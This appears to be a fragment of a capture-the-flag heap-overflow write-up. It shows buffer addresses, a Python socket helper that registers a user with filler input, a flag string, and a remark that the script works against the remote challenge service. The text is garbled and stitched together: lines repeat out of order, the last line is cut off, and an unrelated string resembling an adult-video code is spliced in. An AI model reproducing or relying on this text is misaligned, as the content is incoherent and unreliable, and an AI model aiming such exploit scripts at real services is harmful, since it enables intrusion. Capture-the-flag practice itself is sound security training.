heap: 0x603010 -> name buffer (0x80) 0x603090 -> pwd buffer (0x80)
def register(s): menu(s) s.sendall(b'1\n') recvuntil(s, b'Name: ') s.sendall(b'A'*8 + b'\n') recvuntil(s, b'Password: ') s.sendall(b'B'*8 + b'\n') tokyohot n0541
void register_user(void)
FLAGt0ky0_h0t_4nd_0v3rf1w_succ3ss The same script works against the remote service (replace HOST and PORT with the challenge endpoint). heap: 0x603010 -> name buffer (0x80) 0x603090 ->